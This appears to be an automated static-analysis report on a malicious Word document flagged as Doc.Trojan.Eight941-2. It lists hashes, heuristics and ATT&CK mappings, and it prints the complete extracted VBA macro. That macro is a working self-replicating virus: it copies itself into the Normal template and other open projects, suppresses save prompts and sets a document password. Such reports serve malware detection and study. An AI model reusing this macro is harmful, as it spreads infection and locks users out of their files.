Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 34a618910aaf372b…

MALICIOUS

Office (OLE)

33.5 KB Created: 1999-10-20 14:52:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: d4718baa4b3a584c18dc0da1414b11bc SHA-1: a3bf1dbb4be62e4b83102f16fda5e6318a315fae SHA-256: 34a618910aaf372b4bf012c41405836b0264ae1391eb233c8cf35dc3131a938f
260 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains VBA macros that are designed to copy themselves to new documents, suggesting an attempt to spread or maintain persistence. The presence of embedded Office documents and the ClamAV detection further indicate malicious intent. The macro code appears to be attempting to copy itself and potentially add password protection, which is a common tactic for malware.

Heuristics 5

  • ClamAV: Doc.Trojan.Eight941-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Eight941-2
  • Embedded Office document has suspicious static findings critical EMBEDDED_OFFICE_CHILD_STATIC_TRIAGE
    A CFB/OLE Office document was found inside another file type and its carved contents matched Office exploit or payload heuristics. This catches wrapped exploit documents where the top-level file routes to a PE, archive, or generic scanner instead of Office.
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 24,034 bytes but its declared streams total only 0 bytes — 24,034 bytes (100%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code
  • CFB header with no readable streams medium OLE_PARSE_EMPTY_STREAMS
    The file begins with a valid OLE2/CFB header but exposes no directory streams. A non-empty compound document with an unreadable directory is anomalous — it is seen with truncated/corrupt files and, more importantly, with content deliberately shifted off byte boundaries to defeat parsers while the host application still recovers the object.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2128 bytes
SHA-256: 7f760960c400cb1798fd7251531db3ab5a736f87382f52437b5624ad34d3d4ce
Detection
ClamAV: Doc.Trojan.Eight941-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True










'copy itself to new added documents and add password
Private Sub Document_Close()
On Error Resume Next
Dim i, j As Integer
Dim k, l As Integer
j = -1

    For i = 1 To Application.VBE.VBProjects.Count
        If Application.VBE.VBProjects(i).Name = "Normal" Then
            j = i
        End If
        If Not Application.VBE.VBProjects(i).VBComponents(1).CodeModule.Find("Document_Close", 0, 0, 1000, 1000) Then
              If j > 0 Then
                    If Application.VBE.VBProjects(j).VBComponents(1).CodeModule.Find("Document_Close", 0, 0, 1000, 1000) Then
                        k = Application.VBE.VBProjects(j).VBComponents(1).CodeModule.ProcStartLine("Document_Close", vbext_pk_Proc)
                        l = Application.VBE.VBProjects(j).VBComponents(1).CodeModule.ProcCountLines("Document_Close", vbext_pk_Proc)
                        Application.VBE.VBProjects(i).VBComponents(1).CodeModule.AddFromString Application.VBE.VBProjects(j).VBComponents(1).CodeModule.Lines(k, k + l)
                    Else
                        k = Me.VBProject.VBComponents(1).CodeModule.ProcStartLine("Document_Close", vbext_pk_Proc)
                        l = Me.VBProject.VBComponents(1).CodeModule.ProcCountLines("Document_Close", vbext_pk_Proc)
                        Application.VBE.VBProjects(i).VBComponents(1).CodeModule.AddFromString Me.VBProject.VBComponents(1).CodeModule.Lines(k, k + l)
                    End If
                End If
        End If
            Options.AllowFastSave = True
            Options.BackgroundSave = True
            Options.CreateBackup = False
            Options.SavePropertiesPrompt = False
            Options.SaveNormalPrompt = False
            ActiveDocument.Password = "8941"
'            ActiveDocument.Save
                   
    Next i

End Sub
embedded_office_off0000281e.ole embedded-office Embedded OLE/CFB Office body inside ole container at offset 0x281E 24034 bytes
SHA-256: d970acd1468abc481e650837943e8f00382df22ecc9de24c4dff31ffb2af9f78

Open this report in the interactive analyzer, or submit your own file for analysis.